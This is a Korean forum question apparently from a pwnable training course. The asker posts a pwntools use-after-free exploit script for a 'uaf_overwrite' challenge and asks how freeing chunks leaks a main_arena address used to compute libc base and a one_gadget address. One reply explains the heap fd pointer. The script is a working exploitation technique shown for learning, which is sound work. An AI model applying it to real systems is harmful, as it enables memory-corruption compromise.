어디서 main_arena 주소가 출력 되는 것인가요?

아래는 강의에서 나온 코드인데요.. fd나 bk에 있는 주소를 받는 부분 앞에서 free idx까지 입력을 해서 데이터가 나올 곳이 없는데 도대체 어떻게 주소를 받는 것인가요? 그리고 제가 data까지 입력을 한 뒤 데이터가 나올 때 그 데이터를 받도록 추가적으로 코드를 설계 했는데 엉뚱한 값을 받는 것 같아요.. 도와주세요

from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장

문제를 푸셨다니 특별히 답은 안드려도 될 것 같긴 하지만...

힙 관리 방식에 따라 메인아레나 주소가 fd에 쓰여지기 때문입니다 ㅎㅎ

2023.02.06. 16:08
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기